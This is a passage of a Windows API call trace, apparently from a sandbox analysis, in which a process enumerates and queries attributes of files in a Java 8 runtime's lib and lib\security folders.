	[0269.248] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.248] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.248] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xaec)) returned 1
	[0269.264] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.264] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2899)) returned 1
	[0269.264] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.264] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x354add)) returned 1
	[0269.267] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.267] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.267] SetEvent (hEvent=0xfc) returned 1
	[0269.267] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90a30aa, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa90a30aa, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa7233eb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x340865b)) returned 1
	[0269.276] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0269.278] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.278] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0269.278] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0269.288] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0269.527] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0269.609] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0269.725] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0269.793] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0269.997] SwitchToThread () returned 1
	[0270.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0271.779] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0271.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cdac0
	[0271.855] SetEvent (hEvent=0x124) returned 1
	[0271.855] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1418338, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0271.856] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="BLACKL~1")) returned 1
	[0271.856] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklisted.certs", cAlternateFileName="BLACKL~1.CER")) returned 1
	[0271.856] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1
	[0271.856] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="JAVA~1.POL")) returned 1
	[0271.856] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="JAVA~1.SEC")) returned 1
	[0271.856] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="JAVAWS~1.POL")) returned 1
	[0271.856] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="LOCAL_~1.JAR")) returned 1
	[0271.856] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="TRUSTE~1.LIB")) returned 1
	[0271.856] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1
	[0271.856] FindNextFileW (in: hFindFile=0x192c63cdac0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0271.856] FindClose (in: hFindFile=0x192c63cdac0 | out: hFindFile=0x192c63cdac0) returned 1
	[0271.857] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0271.857] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2)) returned 1
	[0272.719] SetEvent (hEvent=0x124) returned 1
	[0272.719] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.719] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.720] SetEvent (hEvent=0x1a0) returned 1
	[0272.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfd6)) returned 1
	[0272.720] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e5)) returned 1
	[0272.720] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1c0eb)) returned 1
	[0272.721] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.721] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9a2)) returned 1
	[0272.930] VirtualAlloc (lpAddress=0xc0003dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003dc000
	[0272.930] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.931] VirtualAlloc (lpAddress=0xc0003de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003de000
	[0272.931] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac)) returned 1
	[0272.932] VirtualAlloc (lpAddress=0xc0003ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ea000
	[0272.932] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.932] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62)) returned 1
	[0272.933] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.933] VirtualAlloc (lpAddress=0xc0003ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ec000
	[0272.933] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7)) returned 1
	[0272.934] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.934] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.934] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0272.935] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0272.935] VirtualAlloc (lpAddress=0xc0003ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ee000
	[0272.936] VirtualAlloc (lpAddress=0xc0003f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f0000
	[0272.937] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba)) returned 1
	[0272.937] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0272.937] VirtualAlloc (lpAddress=0xc0003f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f2000
	[0272.938] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c)) returned 1
	[0272.938] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0272.938] VirtualAlloc (lpAddress=0xc0003f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003f4000
	[0272.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0)) returned 1
	[0273.115] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0273.115] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), fInfoLevelId=0x0, lpFileInformation=0xc0001df868 | out: lpFileInformation=0xc0001df868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210)) returned 1
